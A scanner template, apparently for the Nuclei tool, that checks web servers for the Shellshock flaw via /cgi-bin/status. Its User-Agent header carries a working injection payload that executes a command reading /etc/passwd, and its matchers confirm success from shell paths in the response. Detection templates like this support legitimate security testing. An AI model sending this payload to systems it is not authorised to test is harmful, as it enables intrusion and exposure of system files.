20 lines
346 B
YAML
20 lines
346 B
YAML
|
id: rce-user-agent-shell-shock
|
||
|
|
||
|
info:
|
||
|
name: Remote Code Execution Via (User-Agent)
|
||
|
author: 0xelkomy
|
||
|
severity: high
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
headers:
|
||
|
User-Agent: "{ :;}; echo $(</etc/passwd)"
|
||
|
path:
|
||
|
- "{{BaseURL}}/cgi-bin/status"
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "/bin/sh"
|
||
|
- "/bin/bash"
|
||
|
part: body
|